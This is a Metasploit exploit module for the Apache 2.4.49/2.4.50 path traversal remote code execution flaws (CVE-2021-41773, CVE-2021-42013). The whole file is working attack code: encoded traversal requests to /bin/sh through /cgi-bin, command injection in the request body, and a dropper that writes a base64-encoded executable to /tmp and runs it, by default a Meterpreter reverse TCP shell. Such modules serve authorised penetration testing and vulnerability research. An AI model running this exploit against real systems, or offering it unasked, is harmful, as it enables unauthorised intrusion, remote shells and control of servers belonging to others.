##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE',
        'Description' => %q{
          This module exploit an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
          If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,
          it can be used to execute arbitrary commands (Remote Command Execution).
          This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
        },
        'References' => [
          ['CVE', '2021-41773'],
          ['CVE', '2021-42013'],
          ['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],
          ['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],
          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],
          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],
          ['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']
        ],
        'Author' => [
          'Ash Daulton', # Vulnerability discovery
          'Dhiraj Mishra', # Metasploit auxiliary module
          'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)
        ],
        'DisclosureDate' => '2021-05-10',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/scanner/http/apache_normalize_path',
          'StartMode' => 'RCE',
          'RPORT' => 443,
          'SSL' => true
        },
        'Targets' => [
          [
            'Automatic (Dropper)',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
                'DisablePayloadHandler' => 'false'
              }
            }
          ],
          [
            'Unix Command (In-Memory)',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/generic',
                'DisablePayloadHandler' => 'true'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin']),
      OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5])
    ])
  end

  def cmd_unix_generic?
    datastore['PAYLOAD'] == 'cmd/unix/generic'
  end

  def execute_command(command, _opts = {})
    traversal = '.%%32%65/' * datastore['DEPTH'] << '/bin/sh'

    uri = normalize_uri(datastore['TARGETURI'], traversal.to_s)
    response = send_request_raw({
      'method' => Rex::Text.rand_text_alpha(3..4),
      'uri' => uri,
      'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{command}"
    })
    if response && response.body
      return response.body
    end

    false
  end

  def message(msg)
    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
  end

  def exploit
    @proto = (ssl ? 'https' : 'http')

    if (!check.eql? Exploit::CheckCode::Vulnerable) && !datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
    end

    print_status(message('Attempt to exploit for CVE-2021-42013'))
    case target['Type']
    when :linux_dropper

      file_name = "/tmp/#{Rex::Text.rand_text_alpha(4..8)}"
      cmd = "echo #{Rex::Text.encode_base64(generate_payload_exe)} | base64 -d > #{file_name}; chmod +x #{file_name}; #{file_name}; rm -f #{file_name}"

      print_status(message("Sending #{datastore['PAYLOAD']} command payload"))
      vprint_status(message("Generated command payload: #{cmd}"))

      execute_command(cmd)

      register_file_for_cleanup file_name
    when :unix_command
      vprint_status(message("Generated payload: #{payload.encoded}"))

      if !cmd_unix_generic?
        execute_command(payload.encoded)
      else
        received = execute_command(payload.encoded.to_s)

        print_warning(message('Dumping command output in response'))
        if !received
          print_error(message('Empty response, no command output'))

          return
        end
        print_line(received)
      end
    end
  end
end